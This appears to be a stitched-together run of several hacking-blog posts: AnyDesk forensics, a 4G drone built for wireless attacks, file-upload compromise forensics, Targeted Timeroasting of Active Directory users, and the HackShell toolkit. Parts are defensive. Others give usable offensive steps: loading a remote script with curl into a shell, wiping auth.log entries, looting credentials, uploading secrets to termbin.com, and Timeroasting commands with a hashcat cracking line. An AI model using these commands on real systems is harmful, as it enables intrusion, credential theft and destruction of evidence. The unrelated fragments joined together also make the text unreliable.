In many cases, the ad_svc.trace log contains the external IP address from which the attacker connected. You will often see it recorded as “Logged in from,” alongside the AnyDesk ID listed as “Accepting from.” For the sake of privacy, these values were redacted in the screenshot we worked from, but they can be viewed easily inside the adsvc.log file you created earlier.

Once you have the IP address, you can enrich it further inside your SIEM. Geolocation, ASN information, and historical lookups may help you understand whether the attacker used a VPN, a hosting provider, a compromised endpoint, or even their home ISP.

Name & OS Information

Inside ad.trace you will generally find the attacker’s display name in lines referring to “Incoming session request.” Right next to that field you will see the corresponding AnyDesk ID. You may also see references to the attacker’s operating system.

In the example we examined, the attacker was connecting from a Linux machine and had set their display name to “IT Dep” in an attempt to appear legitimate. As you can imagine, users do not always question a remote session labeled as IT support, especially if the attacker acts confidently.

Data Exfiltration

AnyDesk does not only provide screen control. It also supports file transfer both ways. That means attackers can upload malware or exfiltrate sensitive company data directly through the session. In the ad.trace logs you will sometimes see references such as “Preparing files in …” which indicate file operations are occurring.

This line alone does not always tell you what exact files were transferred, especially if the attacker worked out of temporary directories. However, correlating those timestamps with standard Windows forensic artifacts, such as recent files, shellbags, jump lists, or server access logs, often reveals exactly what the attacker viewed or copied. If they accessed remote file servers during the session, those server logs combined with your AnyDesk timestamps can paint a very clear picture of what happened.

In our case, the attacker posing as the “IT Dep” accessed and exfiltrated files stored in the Documents folder of the manager who used that workstation.

Summary

Given how widespread AnyDesk is in both legitimate IT environments and malicious campaigns, you should always consider it a high-priority artifact in your digital forensics and incident response workflows. Make sure the relevant AnyDesk log files are consistently collected and ingested into your SIEM so that suspicious activity does not go unnoticed, especially outside business hours. Understanding how to interpret these logs shows the attacker’s behavior that otherwise feels invisible.

Our team strongly encourages you to remain aware of AnyDesk abuse patterns and to include them explicitly in your investigation playbooks. If you need any support building monitoring, tuning alerts, or analyzing remote access traces during an active case, we are always happy to help you strengthen your security posture.

Welcome back, aspiring cyberwarriors!

We are really glad to see you back for the second part of this series. In the first article, we explored some of the cheapest and most accessible ways to build your own hacking drone. We looked at practical deployment problems, discussed how difficult stable control can be, and even built small helper scripts to make your life easier. That was your first step into this subject where drones become independent cyber platforms instead of just flying gadgets. 

We came to the conclusion that the best way to manage our drone would be via 4G. Currently, in 2026, Russia is adapting a new strategy in which it is switching to 4G to control drones. An example of this is the family of Shahed drones. These drones are generally built as long-range, loitering attack platforms that use pre-programmed navigation systems, and initially they relied only on satellite guidance to reach their targets rather than on a constant 4G data link. However, in some reported variants, cellular connectivity was used to support telemetry and control-related functionality.

In recent years, Russia has been observed modifying these drones to carry different types of payloads and weapons, including missiles and MANPADS (Man-Portable Air-Defense System) mounted onto the airframe. The same principle applies here as with other drones. Once you are no longer restricted to a short-range Wi-Fi control link and move to longer-range communication options, your main limitation becomes power. In other words, the energy source ultimately defines how long the aircraft can stay in the air.

Today, we will go further. In this part, we are going to remove the smartphone from the back of the drone to reduce weight. The free space will instead be used for chipsets and antennas.

4G > UART > Drone

In the previous part, you may have asked yourself why an attacker would try to remotely connect to a drone through its obvious control interfaces, such as Wi-Fi. Why not simply connect directly to the flight controller and bypass the standard communication layers altogether? In the world of consumer-ready drones, you will quickly meet the same obstacle over and over again. These drones usually run closed proprietary control protocols. Before you can talk to them directly, you first need to reverse engineer how everything works, which is neither simple nor fast.

However, there is another world of open-source drone-control platforms. These include projects such as Betaflight, iNav, and Ardupilot. The simplest of these, Betaflight, supports direct control-motor command transmission over UART. If you have ever worked with microcontrollers, UART will feel familiar. The beauty here is that once a drone listens over UART, it can be controlled by almost any small Linux single-board computer. All you need to do is connect a 4G module and configure a VPN, and suddenly you have a controllable airborne hacking robot that is reachable from anywhere with mobile coverage. Working with open systems really is a pleasure because nothing is truly hidden.

So, what does the hacker need? The first requirement is a tiny and lightweight single-board computer, paired with a compact 4G modem. A very convenient combination is the NanoPi Neo Air together with the Sim7600G module. Both are extremely small and almost the same size, which makes mounting easier.

The NanoPi communicates with the 4G modem over UART. It actually has three UART interfaces. One UART can be used exclusively for Internet connectivity, and another one can be used for controlling the drone flight controller. The pin layout looks complicated at first, but once you understand which UART maps to which pins, the wiring becomes straightforward.

After some careful soldering, the finished 4G control module will look like this:

Even very simple flight controllers usually support at least two UART ports. One of these is normally already connected to the drone’s traditional radio receiver, while the second one remains available. This second UART can be connected to the NanoPi. The wiring process is exactly the same as adding a normal RC receiver.

The advantage of this approach is flexibility. You can seamlessly switch between control modes through software settings rather than physically rewiring connectors. You attach the NanoPi and Sim7600G, connect the cable, configure the protocol, and the drone now supports 4G-based remote control.

Depending on your drone’s layout, the board can be mounted under the frame, inside the body, or even inside 3D-printed brackets. Once the hardware is complete, it is time to move into software. The NanoPi is convenient because, when powered, it exposes a USB-based console. You do not even need a monitor. Just run a terminal such as:

nanoPi >  minicom -D /dev/ttyACM0 -b 9600

Then disable services that you do not need:

nanoPi >  systemctl disable wpa_supplicant.service

nanoPi >  systemctl disable NetworkManager.service

Enable the correct UART interfaces with:

nanoPi >  armbian-config

From the System menu you go to Hardware and enable UART1 and UART2, then reboot.

Next, install your toolkit:

nanoPi >  apt install minicom openvpn python3-pip cvlc

Minicom is useful for quickly checking UART traffic. For example, check modem communication like this:

minicom -D /dev/ttyS1 -b 115200
AT

If all is well, then you need to config files for the modem. The first one goes to /etc/ppp/peers/telecom. Replace “telecom” with the name of the cellular provider you are going to use to establish 4G connection.

And the second one goes to /etc/chatscripts/gprs

To activate 4G connectivity, you can run:

nanoPi >  pon telecom

Once you confirm connectivity using ping, you should enable automatic startup using the interfaces file. Open /etc/network/interfaces and add these lines:

auto telecom
iface telecom inet ppp
provider telecom

Now comes the logical connectivity layer. To ensure you can always reach the drone securely, connect it to a central VPN server:

nanoPi > cp your_vds.ovpn /etc/openvpn/client/vds.conf

nanoPi > systemctl enable openvpn-client@vds

This allows your drone to “phone home” every time it powers on.

Next, you must control the drone motors. Flight controllers speak many logical control languages, but with UART the easiest option is the MSP protocol. We install a Python library for working with it:

NanoPi > cd /opt/; git clone https://github.com/alduxvm/pyMultiWii

NanoPi > pip3 install pyserial

The protocol is quite simple, and the library itself only requires knowing the port number. The NanoPi is connected to the drone’s flight controller via UART2, which corresponds to the ttyS2 port. Once you have the port, you can start sending values for the main channels: roll, propeller RPM/throttle, and so on, as well as auxiliary channels:

Find the script on our GitHub and place the it in ~/src/ named as control.py

The NanoPi uses UART2 for drone communication, which maps to ttyS2. You send MSP commands containing throttle, pitch, roll, yaw, and auxiliary values. An important detail is that the flight controller expects constant updates. Even if the drone is idle on the ground, neutral values must continue to be transmitted. If this stops, the controller assumes communication loss. The flight controller must also be told that MSP data is coming through UART2. In Betaflight Configurator you assign UART2 to MSP mode.

We are switching the active UART for the receiver (the NanoPi is connected to UART2 on the flight controller, while the stock receiver is connected to UART1). Next we go to Connection and select MSP as the control protocol.

If configured properly, you now have a drone that you can control over unlimited distance as long as mobile coverage exists and your battery holds out. For video streaming, connect a DVP camera to the NanoPi and stream using VLC like this:

cvlc v4l2:///dev/video0:chroma=h264:width=800:height= \
--sout '#transcode{vcodec=h264,acodec=mp3,samplerate=44100}:std{access=http,mux=ffmpeg{mux=flv},dst=0.0.0.0:8080}' -vvv

The live feed becomes available at:

http://drone:8080/

Here “drone” is the VPN IP address of the NanoPi.

To make piloting practical, you still need a control interface. One method is to use a real transmitter such as EdgeTX acting as a HID device. Another approach is to create a small JavaScript web app that reads keyboard or touchscreen input and sends commands via WebSockets. If you prefer Ardupilot, there are even ready-made control stacks.

By now, your drone is more than a toy. It is a remotely accessible cyber platform operating anywhere there is mobile coverage.

Protection Against Jammers

Previously we discussed how buildings and range limitations affect RF-based drone control. With mobile-controlled drones, cellular towers actually become allies instead of obstacles. However, drones can face anti-drone jammers. Most jammers block the 2.4 GHz band, because many consumer drones use this range. Higher end jammers also attack 800-900 MHz and 2.4 GHz used by RC systems like TBS, ELRS, and FRSKY. The most common method though is GPS jamming and spoofing. Spoofing lets an attacker broadcast fake satellite signals so the drone believes false coordinates. Since drone communication links are normally encrypted, GPS becomes the weak point. That means a cautious attacker may prefer to disable GPS completely. Luckily, on many open systems such as Betaflight drones or FPV cinewhoops, GPS is optional. Indoor drones usually do not use GPS anyway.

As for mobile-controlled drones, jamming becomes significantly more difficult. To cut the drone off completely, the defender must jam all relevant 4G, 3G, and 2G bands across multiple frequencies. If 4G is jammed, the modem falls back to 3G. If 3G goes down, it falls back to 2G. This layering makes mobile-controlled drones surprisingly resilient. Of course, extremely powerful directional RF weapons exist that wipe out all local radio communication when aimed precisely. But these tools are expensive and require high accuracy.

Summary

We transformed the drone into a fully independent device capable of long-range remote operation via mobile networks. The smartphone was replaced with a NanoPi Neo Air and a Sim7600G 4G modem, routed UART communication directly into the flight controller, and configured MSP-based command delivery. We also explored VPN connectivity, video streaming, and modern control interfaces ranging from RC transmitters to browser-based tools. Open-source flight controllers give us incredible flexibility.

In Part 3, we will build the attacking part and carry out our first wireless attack.

If you like the work we’re doing here and want to take your skills even further, we also offer a full SDR for Hackers Career Path. It’s a structured training program designed to guide you from the fundamentals of Software-Defined Radio all the way to advanced, real-world applications in cybersecurity and signals intelligence. 

Hello, aspiring digital forensics investigators!

In this article, we continue our journey into digital forensics by examining one of the most common and underestimated attack paths: abusing file upload functionality. The goal is to show how diverse real-world compromises can be, and how attackers can rely on legitimate features and not only exotic zero-day exploits. New vulnerabilities appear every day, often with proof-of-concept scripts that automate exploitation. These tools significantly lower the barrier to entry, allowing even less experienced attackers to cause real damage. While there are countless attack vectors available, not every compromise relies on a complex exploit. Sometimes, attackers simply take advantage of features that were never designed with strong security in mind. File upload forms are a perfect example.

Upload functionality is everywhere. Contact forms accept attachments, profile pages allow images, and internal tools rely on document uploads. When implemented correctly, these features are safe. When they are not, they can give attackers direct access to your server. The attack itself is usually straightforward. The real challenge lies in bypassing file type validation and filtering, which often requires creativity rather than advanced technical skills. Unfortunately, this weakness is widespread and has affected everything from small businesses to government websites.

Why File Upload Vulnerabilities Are So Common

Before diving into the investigation, it helps to understand how widespread this issue really is. Platforms like HackerOne contain countless reports describing file upload vulnerabilities across all types of organizations. Looking at reports involving government organizations or well known companies makes it clear that the same weaknesses can appear everywhere, even on websites people trust the most.

As infrastructure grows, maintaining visibility becomes increasingly difficult. Tracking every endpoint, service, and internal application is an exhausting task. Internal servers are often monitored less carefully than internet-facing systems, which creates ideal conditions for attackers who gain an initial foothold and then move laterally through the network, expanding their control step by step.

Exploitation

Let us now walk through a realistic example of how an attacker compromises a server through a file upload vulnerability, and how we can reconstruct the attack from a forensic perspective.

Directory Fuzzing

The attack almost always begins with directory fuzzing, also known as directory brute forcing. This technique allows attackers to discover hidden pages, forgotten upload forms, administrative panels, and test directories that were never meant to be public. From a forensic standpoint, every request matters. It is not only HTTP 200 responses that are interesting.

In our case, the attacker performed directory brute forcing against an Apache web server and left behind clear traces in the logs. By default, Apache stores its logs under /var/log/apache, where access.log and error.log provide insight into what happened.

bash# > less access.log

Even without automation, suspicious activity is often easy to spot. Viewing the access log with less reveals patterns consistent with tools like OWASP DirBuster. Simple one-liners using grep can help filter known tool names, but it is important to remember that behavior matters more than signatures. Attackers can modify headers easily, and in bug bounty testing this is often required to distinguish legitimate testing from malicious activity.

bash# > cat access.log | grep -iaE 'nmap|buster' | uniq -d

You might also want to list what pages have been accessed during the directory bruteforce by a certain IP. Here is how:

bash# > cat access.log | grep IP | grep 200 | grep -v 404 | awk ‘{print $6,$7,$8,$9}’

In larger environments, log analysis is usually automated. Scripts may scan for common tool names such as Nmap or DirBuster, while others focus on behavior, like a high number of requests from a single IP address in a short period of time. More mature infrastructures rely on SIEM solutions that aggregate logs and generate alerts. On smaller systems, tools like Fail2Ban offer a simpler defense by monitoring logs in real time and blocking IP addresses that show brute-force behavior.

POST Method

Once reconnaissance is complete, the attacker moves on to exploitation. This is where the HTTP POST method becomes important. POST is used by web applications to send data from the client to the server and is commonly responsible for handling file uploads.

In this case, POST requests were used to upload a malicious file and later trigger a reverse connection. By filtering the logs for POST requests, we can clearly see where uploads occurred and which attempts were successful.

bash# > cat * | grep -ai post

The logs show multiple HTTP 200 responses, confirming that the file upload succeeded and revealing the exact page used to upload the file.

The web server was hosted locally on-premises rather than in the cloud, that’s why the hacker managed to reach it from the corporate network. Sometimes web servers meant for the internal use are also accessible from the internet, which is a real issue. Often, contact pages that allow file uploads are secured, but other upload locations are frequently overlooked during development.

Reverse Shell

After successfully uploading a file, the attacker must locate it and execute it. This is often done by inspecting page resources using the browser’s developer tools. If an uploaded image or file is rendered on the page, its storage location can often be identified directly in the HTML. Here is an example of how it looks like:

Secure websites rename uploaded files to prevent execution. Filenames may be replaced with hashes, timestamps, or combinations of both. In some cases, the Inspect view even reveals the new name. The exact method depends on the developers’ implementation, unless the site is vulnerable to file disclosure and configuration files can be read.

Unfortunately, many websites do not enforce renaming at all. When the original filename is preserved, attackers can simply upload scripts and execute them directly.

The server’s error.log shows repeated attempts to execute the uploaded script. Eventually, the attacker succeeds and establishes a reverse shell, gaining interactive access to the system.

bash# > less error.log

Persistence

Once access is established, the attacker’s priority shifts to persistence. This ensures they can return even if the connection is lost or the system is rebooted.

Method 1: Crontabs and Local Users

One of the most common persistence techniques is abusing cron jobs. Crontab entries allow commands to be executed automatically at scheduled intervals. In this case, the attacker added a cron job that executed a shell command every minute, redirecting input and output through a TCP connection to a remote IP address and port. This ensured the reverse shell would constantly reconnect. Crontab entries can be found in locations such as /etc/crontab.

bash# > cat /etc/crontab

During the investigation, a new account was identified. System files revealed that the attacker created a new account and added a password hash directly to the passwd file.

bash# > cat /etc/passwd | grep -ai root2

The entry shows the username, hashed password, user and group IDs, home directory, and default shell. Creating users and abusing cron jobs are common techniques, especially among less experienced attackers, but they can still be effective when privileges are limited

Method 2: SSH Keys

Another persistence technique involves SSH keys. By adding their own public key to the authorized_keys file, attackers can log in without using passwords. This method is quiet, reliable, and widely abused. From a defensive perspective, monitoring access and changes to the authorized_keys file can provide early warning signs of compromise.

Method 3: Services

Persisting through system services gives attackers more flexibility. They also give more room for creativity. For example, the hackers might try to intimidate you by setting up a script that prints text once you log in. This can be ransom demands or other things that convey what they are after.

Services are monitored by the operating system and automatically restarted if they stop, which makes them ideal for persistence. Listing active services with systemctl helps identify suspicious entries.

bash# > systemctl --state=active --type=service

In this case, a service named IpManager.service appeared harmless at first glance. Inspecting its status revealed a script stored in /etc/network that repeatedly printed ransom messages. Because the service restarted automatically, the message kept reappearing. Disabling the service immediately stopped the behavior.

Since this issue is so widespread, and because there are constantly new reports of file upload vulnerabilities on HackerOne, not to mention the many undisclosed cases that are being actively exploited by hackers and state-sponsored groups, you really need to stay vigilant.

Summary

The attack does not end with persistence. Once attackers gain root access, they have complete control over the system. Advanced techniques such as rootkits, process manipulation, and kernel-level modifications can allow them to remain hidden for long periods of time. In situations like this, the safest response is often restoring the system from a clean backup created before the compromise. This is why maintaining multiple, isolated backups is critical for protecting important infrastructure.

As your organization grows, it naturally becomes harder to monitor every endpoint and to know exactly what is happening across your environment. If you need assistance securing your servers, hardening your Linux systems, or performing digital forensics to identify attackers, our team is ready to help

Welcome back, aspiring cyberwarriors!

We continue our PowerShell for Hackers series with another article that shows how PowerShell can be used during real pentests and purple team engagements. Today we are going to explore an attack called Timeroasting. However, instead of focusing only on computers, we will look at how a modified script can be used to abuse user accounts as well. The final result of this technique is a user hash that is already formatted to be cracked with hashcat.

Before we go any deeper, there is something important to clarify. This attack relies on modifying properties of user accounts inside Active Directory. That means you must already have domain administrator privileges. Normally, when an attacker compromises a domain admin account, the game is over for the organization. That account gives unrestricted control over the domain. But even with that level of privilege, there are still times when you may want credentials for a specific domain user, and you do not want to trigger obvious high-risk actions.

Defenders can monitor techniques such as dumping NTDS, extracting LSASS memory, or performing DCSync. There are situations where those methods are either blocked, monitored, or simply not ideal. The script we are discussing today exists exactly for such cases. It helps retrieve hashes in a way that may blend more quietly into normal domain behavior.

Timeroasting

You may be wondering what Timeroasting actually is. Timeroasting is a technique originally designed to obtain hashes from domain computers rather than users. It abuses a weakness in how certain computer and trust accounts store passwords in Active Directory. These machine passwords are then used to compute MS-SNTP authentication material, which attackers can collect and later attempt to crack offline. Normally, computer accounts in a domain have very long, randomly generated passwords. Because of that complexity, cracking them is usually impractical. However, this was not always the case. Older systems, including so-called “Pre-Windows 2000 Computers,” sometimes stored weak or predictable passwords. These legacy systems are what made Timeroasting especially interesting.

The attack was originally discovered and documented by Tom Tervoort from Secura. He showed how weak computer or trust account passwords in Active Directory could be exploited. For example, if a computer account had enough rights to perform DCSync, and its password was weak enough, you might even use the computer name itself as the password during attacks such as DCSync. The problem is that for modern systems, machine passwords are long and complex. Running those hashes through even powerful wordlists can take a very long time and still fail. That is why the use of the original Timeroasting attack was quite limited.

This limitation was addressed by Giulio Pierantoni, who took the original idea and upgraded it. He demonstrated that domain user accounts could also be abused in a similar way, which significantly changes the value and use-cases of this attack.

Targeted Timeroasting

Giulio Pierantoni called this technique “Targeted Timeroasting,” similar in spirit to Targeted Kerberoasting and AS-REP Roasting. Since domain administrators can modify attributes of user accounts, you can temporarily convert a user account into something that looks like a domain machine account, you can convince the domain controller to treat it as such and return a hash for it. In other words, the domain controller believes the account is a computer, and therefore exposes authentication material normally associated with machine accounts, except now it belongs to a human user.

Every Active Directory user object has a field called sAMAccountType. This field defines what kind of account it is. Under normal circumstances, regular users and machine accounts have different values. For example, a normal user account belongs to the SAM_NORMAL_USER_ACCOUNT category, while a machine account belongs to SAM_MACHINE_ACCOUNT.

Although you cannot directly modify this field, there is another attribute called userAccountControl. This is a set of flags that determines the characteristics of the account. Some of these flags correspond to workstations, servers, or domain controllers. When the userAccountControl value is changed to the flag representing a workstation trust account, the sAMAccountType attribute is automatically updated. The domain controller then believes it is dealing with a machine account.

Under normal security rules, you are not supposed to be able to convert one type of account into another. However, domain administrators are exempt from this limitation. That is exactly what makes Targeted Timeroasting possible. This technique cannot be executed by unprivileged users and is therefore different from things like Targeted Kerberoasting, AS-REP roasting, shadow credentials, or ESC14.

Before the hash is computed, the domain controller also checks that the sAMAccountName ends with a dollar sign. For domain administrators, changing this is trivial unless another account with the same name already exists. Once the userAccountControl and sAMAccountName values have been modified, the controller is willing to hand out the MS-SNTP hash for the account to anyone who asks appropriately.

There is one important operational warning shared by Giulio Pierantoni. When a user account is converted into a workstation trust account, that user will lose the ability to log into workstations. However, this does not affect existing active sessions. If you immediately revert the attributes after extracting the hash, the user will likely never notice anything happening.

Exploitation

A rough proof-of-concept script was created by modifying Jacopo Scannella’s original PowerShell Timeroasting script. The script is now available on GitHub.

To use it, you need to be a domain administrator running from a domain-joined system that already has the Active Directory PowerShell module installed.

The script works in several logical steps. It first retrieves important attributes such as the objectSid and userAccountControl values for the target account. Then it changes the userAccountControl attribute so that the account is treated as a workstation trust account. After that, it appends a dollar sign to the sAMAccountName, making the user look like a machine account. Once the attributes are updated, the script extracts the RID, sends a client MS-SNTP request to the domain controller, and retrieves the resulting hash from the response. Finally, it restores all the original values so that nothing appears out of the ordinary.

When observed in packet captures, the whole exchange looks like a simple NTP transaction. There is a request containing the RID and a response containing a signature generated from the NT hash of the account. The salt is also drawn from the NTP response packet.

The author of the modified script provided two usage modes. One mode allows you to target specific users individually. Another mode allows you to abuse every user in a supplied list.

To target a specific user, you would normally run:

PS > .\TargetedTimeroast.ps1 -domainController IP -v -victim USERNAME

If you want to target multiple users at once, you prepare a list and run:

PS > .\TargetedTimeroast.ps1 -v -file .\users.txt -domainController IP

Hashcat

Once you have collected the hashes you want, you can move to your Kali machine and begin cracking them with hashcat. It is recommended that you remove the RIDs from each hash to avoid issues during cracking. Your command will look like this:

bash$ > sudo hashcat -a 0 -m 31300 hashes.txt dictionary.txt

If the password is weak or reused, you may recover it relatively quickly.

Detection

Defenders should find this section important. Even though this attack requires domain administrator privileges, it should still be monitored, because insider threats or compromised admins do exist. There are several key behaviors that may indicate that Timeroasting or Targeted Timeroasting is taking place. One example is when a single host sends many MS-SNTP client requests, but those requests include different RIDs. Another example is when the RIDs in those requests belong to user accounts instead of normal computer accounts. You may also observe that the userAccountControl value of one or more user accounts changes from a normal user value to a workstation trust account value and then back again soon afterward. In addition, the sAMAccountName of a user account may briefly have a dollar sign added to the end.

These behaviors are unusual in normal environments. If they are monitored properly, attackers will have far fewer opportunities to exploit this weakness. Unfortunately, such monitoring is quite rare in many organizations.

Summary

This is a new creative application of a long-known attack concept. It is very likely that this technique will be adopted by a wide range of attackers, from red teamers to malicious actors. We should also remember the risk of insider threats, because a domain administrator could easily perform this technique without escalating privileges any further. The process is surprisingly straightforward when the correct level of access already exists.

Users should therefore aim to use strong, complex passwords inside corporate domains, not just meeting but exceeding the minimum policy requirements. It is also wise never to reuse passwords or even reuse the same style of password across different systems. Wherever possible, two-factor authentication should be enabled. Good architecture and strong monitoring will make techniques like Targeted Timeroasting far less attractive and much easier to detect.

In our continuing effort to offer you the very best in cybersecurity training, Hackers-Arise is proud to preset PowerShell for Hackers training. It is included with the Subscriber and Subscriber Pro packages. March 10-12.

Welcome back, aspiring cyberwarriors!

In one of our Linux Forensics articles we discussed how widespread Linux systems are today. Most of the internet quietly runs on Linux. Internet service providers rely on Linux for deep packet inspection. Websites are hosted on Linux servers. The majority of home and business routers use Linux-based firmware. Even when we think we are dealing with simple consumer hardware, there is often a modified Linux kernel working in the background. Many successful web attacks end with a Linux compromise rather than a Windows one. Once a Linux server is compromised, the internal network is exposed from the inside. Critical infrastructure systems also depend heavily on Linux. Gas stations, industrial control systems, and even CCTV cameras often run Linux or Linux-based embedded firmware.

Master OTW has an excellent series showing how cameras can be exploited and later used as proxies. Once an attacker controls such a device, it becomes a doorway into the organization. Cameras are typically reachable from almost everywhere in the segmented network so that staff can view them. When the camera is running cheap and vulnerable software, that convenience can turn into a backdoor that exposes the entire company. In many of our forensic investigations we have seen Linux-based devices like cameras, routers, and small appliances used as the first foothold. After gaining root access, attackers often deploy their favorite tools to enumerate the environment, collect configuration files, harvest credentials, and sometimes even modify PAM to maintain silent persistence.

So Bash is already a powerful friend to both administrators and attackers. But we can make it even more stealthy and hacker friendly. We are going to explore HackShell, a tool designed to upgrade your Bash environment when you are performing penetration testing. HackShell was developed by The Hacker’s Choice, a long-standing hacking research group known for producing creative security tools. The tool is actively maintained, loads entirely into memory, and does not need to write itself to disk. That helps reduce forensic artifacts and lowers the chance of triggering simple detections.

If you are a defender, this article will also be valuable. Understanding how tools like HackShell operate will help you recognize the techniques attackers use to stay low-noise and stealthy. Network traffic and behavioral traces produced by these tools can become intelligence signals that support your SIEM and threat detection programs.

Let’s get started.

Setting Up

Once a shell session has been established, HackShell can be loaded directly into memory by running either of the following commands:

bash$ > source <(curl -SsfL https://thc.org/hs)

Or this one:

bash$ > eval "$(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)"

You are all set. Once HackShell loads, it performs some light enumeration to collect details about the current environment. For example, you may see output identifying suspicious cron jobs or even detecting tools such as gs-netcat running as persistence. That early context already gives you a sense of what is happening on the host.

But if the compromised host does not have internet access, for example when it sits inside an air-gapped environment, you can manually copy and paste the contents of the HackShell script after moving to /dev/shm. On very old machines, or when you face compatibility issues, you may need to follow this sequence instead.

First run:

bash$ > bash -c 'source <(curl -SsfL https://thc.org/hs); exec bash'

And then follow it with:

bash$ > source <(curl -SsfL https://thc.org/hs)

Now we are ready to explore its capabilities.

Capabilities

The developers of HackShell clearly put a lot of thought into what a penetration tester might need during live operations. Many helpful functions are built directly into the shell. You can list these features using the xhelp command, and you can also request help on individual commands using xhelp followed by the command name.

We will walk through some of the most interesting ones. A key design principle you will notice is stealth. Many execution methods are chosen to minimize traces and reduce the amount of forensic evidence left behind.

Evasion

These commands will help you reduce your forensic artefacts. 

xhome

This command temporarily sets your home directory to a randomized path under /dev/shm. This change affects only your current HackShell session and does not modify the environment for other users who log in. Placing files in /dev/shm is popular among attackers because /dev/shm is a memory-backed filesystem. That means its contents do not persist across reboots and often receive less attention from casual defenders.

bash$ > xhome

For defenders reading this, it is wise to routinely review /dev/shm for suspicious files or scripts. Unexpected executable content here is frequently a red flag.

xlog

When attackers connect over SSH, their login events typically appear in system authentication logs. On many Linux distributions, these are stored in auth.log. HackShell includes a helper to selectively remove traces from the log.

For example:

bash$ > xlog '1.2.3.4' /var/log/auth.log

xtmux

Tmux is normally used by administrators and power users to manage multiple terminal windows, keep sessions running after disconnects, and perform long-running tasks. Attackers abuse the same features. In several forensic cases we observed attackers wiping storage by launching destructive dd commands inside tmux sessions so that data erasure would continue even if the network dropped or they disconnected.

This command launches an invisible tmux session:

bash$ > xtmux

Enumeration and Privilege Escalation

Once you have shifted your home directory and addressed logs, you can begin to understand the system more deeply.

ws

The WhatServer command produces a detailed overview of the environment. It lists storage, active processes, logged-in users, open sockets, listening ports, and more. This gives you a situational awareness snapshot and helps you decide whether the machine is strategically valuable.

lpe

LinPEAS is a well-known privilege escalation auditing script. It is actively maintained, frequently updated, and widely trusted by penetration testers. HackShell integrates a command that runs LinPEAS directly in memory so the script does not need to be stored on disk.

bash$ > lpe

The script will highlight possible paths to privilege escalation. In the example environment we were already root, which meant the output was extremely rich. However, HackShell works well under any user account, making it useful at every stage of engagement.

hgrep

Credential hunting often involves searching through large numbers of configuration files or text logs. The hgrep command helps you search for keywords in a simple and direct way.

bash$ > hgrep pass

This can speed up the discovery of passwords, tokens, keys, or sensitive references buried in files.

scan

Network awareness is critical during lateral movement. HackShell’s scan command provides straightforward scanning with greppable output. You can use it to check for services such as SMB, SSH, WMI, WINRM, and many others.

You can also search for the ports commonly associated with domain controllers, such as LDAP, Kerberos, and DNS, to identify Active Directory infrastructure. Once domain credentials are obtained, they can be used for enumeration and further testing. HTTP scanning is also useful for detecting vulnerable web services.

Example syntax:

bash$ > scan PORT IP

loot

For many testers, this may become the favorite command. loot searches through configuration files and known locations in an effort to extract stored credentials or sensitive data. It does not always find everything, especially when environments use custom paths or formats, but it is often a powerful starting point.

bash$ > loot

If the first pass does not satisfy you:

bash$ > lootmore

When results are incomplete, combining loot with hgrep can help you manually hunt for promising strings and secrets.

Lateral Movement and Data Exfiltration

When credentials are discovered, the next step may involve testing access to other machines or collecting documents. It is important to emphasize legal responsibility here. Mishandling exfiltrated data can expose highly sensitive information to the internet, violating agreements.

tb

The tb command uploads content to termbin.com. Files uploaded this way become publicly accessible if someone guesses or brute forces the URL. This must be used with caution. 

bash$ > tb secrets.txt

After you extract data, securely deleting the local copy is recommended.

bash$ > shred secrets.txt

xssh and xscp

These commands mirror the familiar SSH and SCP tools and are used for remote connections and secure copying. HackShell attempts to perform these actions in a way that minimizes exposure. Defenders are continuously improving monitoring, sometimes sending automatic alerts when new SSH sessions appear. If attackers move carelessly, they risk burning their foothold and triggering incident response. 

Connect to another host:

bash$ > xshh root@IP

Upload a file to /tmp on the remote machine:

bash$ > xscp file root@IP:/tmp

Download a file from the remote machine to /tmp:

bash$ > xscp root@IP:/root/secrets.txt /tmp

Summary

HackShell is an example of how Bash can be transformed into a stealthy, feature-rich environment for penetration testing. There is still much more inside the tool waiting to be explored. If you are a defender, take time to study its code, understand how it loads, and identify the servers it contacts. These behaviors can be turned into Indicators of Compromise and fed into your SIEM to strengthen detection.

If ethical hacking and cyber operations excite you, you may enjoy our Cyberwarrior Path. This is a three-year training journey built around a two-tier education model. During the first eighteen months you progress through a rich library of beginner and intermediate courses that develop your skills step by step. Once those payments are complete, you unlock Subscriber Pro-level training that opens the door to advanced and specialized topics designed for our most dedicated learners. This structure was created because students asked for flexibility, and we listened. It allows you to keep growing and improving without carrying an unnecessary financial burden, while becoming the professional you want to be.

The post Linux: HackShell – Bash For Hackers first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

I want you to imagine a scene for a moment. You are sitting at your keyboard on one of the upper floors of a secure building in the middle of a restricted area. There is a tall fence topped with electrified barbed wire. Cameras cover every angle. Security guards patrol with confidence. You feel untouchable. Then you hear it. It’s a faint buzzing sound outside the window. You glance over for just a moment, wondering what it is. That tiny distraction is enough. In those few seconds, a small device silently installs a backdoor on your workstation. Somewhere 20 kilometers away, a hacker now has a path into the corporate network. 

That may sound like something out of a movie, but it is not science fiction. In this series, we are going to walk through the process of building a drone that can perform wireless attacks such as EAP attacks, MouseJack, Kismet reconnaissance, and similar operations. A drone is an incredibly powerful tool in the hands of a malicious actor because it can carry roughly a third of its own weight as payload. But “hacking through the air” is not easy. A proper hacker drone must be autonomous, controllable over a secure channel at long distances, and resilient to jamming or suppression systems. Today we will talk through how such drones are designed and how they can be built from readily available components.

Most wireless attacks require the attacker to be physically near the target. The problem is that you can’t reach every building, every fenced facility, and every rooftop. A drone changes the entire equation. It can fly under windows, slip through partially open spaces, or even be transported inside a parcel. As a boxed payload moves through residential or office buildings, it can quietly perform wireless attacks without anyone ever suspecting what is inside. And yes, drones are used this way in the real world, including military and intelligence operations. On June 1, 2025, over 100 FPV drones that were smuggled into Russia, were concealed in modified wooden cabins on trucks, and remotely launched from positions near multiple Russian airbases. These drones conducted precision strikes on parked aircraft at bases including Belaya, Dyagilevo, Ivanovo Severny, Olenya, and Ukrainka, reportedly damaging or destroying more than 40 strategic bombers and other high-value assets.

The FPV drones were equipped with mobile modems using Russian SIM cards to connect to local 3G/4G cellular networks inside Russia. This setup enabled remote operators in Ukraine to receive real-time high-resolution video feeds and telemetry, as well as maintain manual control over the drones via software like ArduPilot Mission Planner. The cellular connection allowed precise piloting from thousands of kilometers away, bypassing traditional radio frequency limitations and Russian electronic warfare jamming in some cases. In Part 2 we will show you how this type of connection can be established.

